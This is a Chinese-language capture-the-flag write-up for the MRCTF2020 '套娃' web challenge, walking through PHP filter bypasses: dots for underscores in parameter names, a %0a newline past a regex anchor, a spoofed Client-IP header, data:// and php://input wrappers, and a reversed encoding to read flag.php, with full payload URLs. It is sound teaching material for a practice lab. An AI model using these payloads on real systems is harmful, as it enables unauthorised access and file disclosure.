BUU [MRCTF2020]套娃

开题，啥也没有。

查看网页源代码发现后端源代码：

<?php
//1st
$query = $_SERVER['QUERY_STRING'];if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){die('Y0u are So cutE!');
}if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){echo "you are going to the next ~";
}

首先是关于$_SERVER['QUERY_STRING']取值，例如： http://localhost/aaa/?p=222 ，``$SERVER[‘QUERY_STRING’] = “p=222”，相当于获取了所有GET传参相关的URL段。题目要求不包含`。这里用PHP的字符串解析特性：

PHP需要将所有参数转换为有效的变量名，因此在解析查询字符串时，它会做两件事：

• 删除空白符
• 将某些字符（ [ 空格 + . ）转换为下划线

正则匹配preg_match('/^23333$/', $_GET['b_u_p_t'])可以用%0a来绕过。

^ $界定了必须在同一行，否则匹配不到，直接利用%0a（换行符）进行绕过。

payload:

?b.u.p.t=23333%0a

进入下一关secrettw.php，提示应该从本地local得到flag。

源码中有jsfuck编码过的提示，控制台直接运行返回post me Merak

随意POST一个Merak，返回源码：

<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';if(isset($_POST['Merak'])){ highlight_file(__FILE__); die(); 
} function change($v){ $v = base64_decode($v); $re = ''; for($i=0;$i<strlen($v);$i++){ $re .= chr ( ord ($v[$i]) + $i*2 ); } return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?> 

首先是IP地址需要是127.0.0.1，这里需要用client-ip头绕过，XFF头不行。

然后是满足条件file_get_contents($_GET['2333']) === 'todat is a happy day'

以下两种方式均可。

2333=data://text/plain,todat is a happy day2333=php://input
POST:todat is a happy day

最后是反写change($v)函数，使得file_get_contents(change($_GET['file']))语句可以成功包含flag.php文件。

反写脚本：

<?php
function unchange($v){ $re = '';for($i=0;$i<strlen($v);$i++){ $re .= chr ( ord ($v[$i]) - $i*2 ); } return $re; 
}
$real_flag = unchange('flag.php');
echo base64_encode($real_flag);
?>

得到ZmpdYSZmXGI=

最终payload：

/secrettw.php?2333=data://text/plain,todat is a happy day&file=ZmpdYSZmXGI=

flag在源码里。